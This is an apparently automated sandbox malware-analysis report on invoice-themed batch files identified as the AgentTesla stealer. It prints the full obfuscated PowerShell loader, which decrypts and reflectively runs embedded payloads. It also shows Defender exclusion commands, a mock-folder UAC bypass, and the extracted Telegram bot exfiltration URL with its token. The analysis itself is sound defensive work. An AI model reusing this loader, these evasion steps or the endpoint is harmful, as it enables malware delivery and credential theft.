Overview
overview
10Static
static
1INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10Analysis
- max time kernel
92s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
03/06/2024, 16:34
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE07.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
INVOICE07.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
INVOICE07.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
INVOICE07.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
InvoiceConfirmation3.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
InvoiceConfirmation3.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
InvoiceConfirmation3.bat
Resource
win7-20240419-en
General
- Target INVOICE07.bat
- Size 540KB
- Sample240603-t3btcsdf78
- SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
- MD5 1952a79579272db52a814baf57821f90
- SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
- SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
- SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
agenttesla
-
https://api.telegram.org/bot7135973864:AAGVqtrGeLysm0FYcz68sQIn3nL2a6CxjMc/
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 2 IoCs
flow pid Process 17 4544 powershell.exe 19 4544 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
pid Process 3988 powershell.exe 4544 powershell.exe 3784 powershell.exe 2976 powershell.exe 3868 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4988 ComputerDefaults.exe - Loads dropped DLL 1 IoCs
pid Process 4988 ComputerDefaults.exe - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 api.ipify.org 17 api.ipify.org 18 ip-api.com - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3988 powershell.exe 3988 powershell.exe 3868 powershell.exe 3868 powershell.exe 4544 powershell.exe 4544 powershell.exe 2976 powershell.exe 2976 powershell.exe 3784 powershell.exe 4544 powershell.exe 4544 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3988 powershell.exe Token: SeDebugPrivilege 3868 powershell.exe Token: SeDebugPrivilege 4544 powershell.exe Token: SeDebugPrivilege 2976 powershell.exe Token: SeDebugPrivilege 3784 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3220 wrote to memory of 2348 3220 cmd.exe 85 PID 3220 wrote to memory of 2348 3220 cmd.exe 85 PID 3220 wrote to memory of 2748 3220 cmd.exe 86 PID 3220 wrote to memory of 2748 3220 cmd.exe 86 PID 3220 wrote to memory of 3988 3220 cmd.exe 87 PID 3220 wrote to memory of 3988 3220 cmd.exe 87 PID 3988 wrote to memory of 3868 3988 powershell.exe 91 PID 3988 wrote to memory of 3868 3988 powershell.exe 91 PID 3988 wrote to memory of 2020 3988 powershell.exe 93 PID 3988 wrote to memory of 2020 3988 powershell.exe 93 PID 2020 wrote to memory of 4988 2020 cmd.exe 95 PID 2020 wrote to memory of 4988 2020 cmd.exe 95 PID 4988 wrote to memory of 696 4988 ComputerDefaults.exe 96 PID 4988 wrote to memory of 696 4988 ComputerDefaults.exe 96 PID 696 wrote to memory of 3908 696 cmd.exe 98 PID 696 wrote to memory of 3908 696 cmd.exe 98 PID 696 wrote to memory of 1856 696 cmd.exe 99 PID 696 wrote to memory of 1856 696 cmd.exe 99 PID 696 wrote to memory of 4544 696 cmd.exe 100 PID 696 wrote to memory of 4544 696 cmd.exe 100 PID 4544 wrote to memory of 2976 4544 powershell.exe 103 PID 4544 wrote to memory of 2976 4544 powershell.exe 103 PID 4544 wrote to memory of 3784 4544 powershell.exe 105 PID 4544 wrote to memory of 3784 4544 powershell.exe 105
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3220 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:2348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:2748
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows \System32\ComputerDefaults.exe"C:\Windows \System32\ComputerDefaults.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c call SC.cmd5⤵
- Suspicious use of WriteProcessMemory
PID:696 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"6⤵PID:3908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:1856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3784
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
- MD5 77d622bb1a5b250869a3238b9bc1402b
- SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
- SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\SC.cmd
- Size 540KB
- SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
- MD5 1952a79579272db52a814baf57821f90
- SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
- SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
- SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnrc3bbh.4x2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows \System32\ComputerDefaults.exe
- Size 80KB
- SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
- MD5 d25a9e160e3b74ef2242023726f15416
- SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
- SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
- SSDEEP 1536:DayE7ffgaxRF71ry9vmt486MypQKURDoq4OZZZLlCIibz:Y3ganFp4NpqRD68wbz
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows \System32\MLANG.dll
- Size 122KB
- SHA256 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
- MD5 e286ada1af4b08fa4b7c78f862883c4e
- SHA1 798ebc7b7cd3db667f1a59ade299be4cff397f39
- SHA512 fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5
- SSDEEP 1536:Cu9CeMZcAn6rL2KHKx74nIHuFTAVFuSwtCjkT8mDMr0OgzTqsWO4dw9dluVcw:Cu9xprL2UKJ4c2TgFupkE8mDmgkAQcw
- MD5 SHA1 SHA512 SSDEEP